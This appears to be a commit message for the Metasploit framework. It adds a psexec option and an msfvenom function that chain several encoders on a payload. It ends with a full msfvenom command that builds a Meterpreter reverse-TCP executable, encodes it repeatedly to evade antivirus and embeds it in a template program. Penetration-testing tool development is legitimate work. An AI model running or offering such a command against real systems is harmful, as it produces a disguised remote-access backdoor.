Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe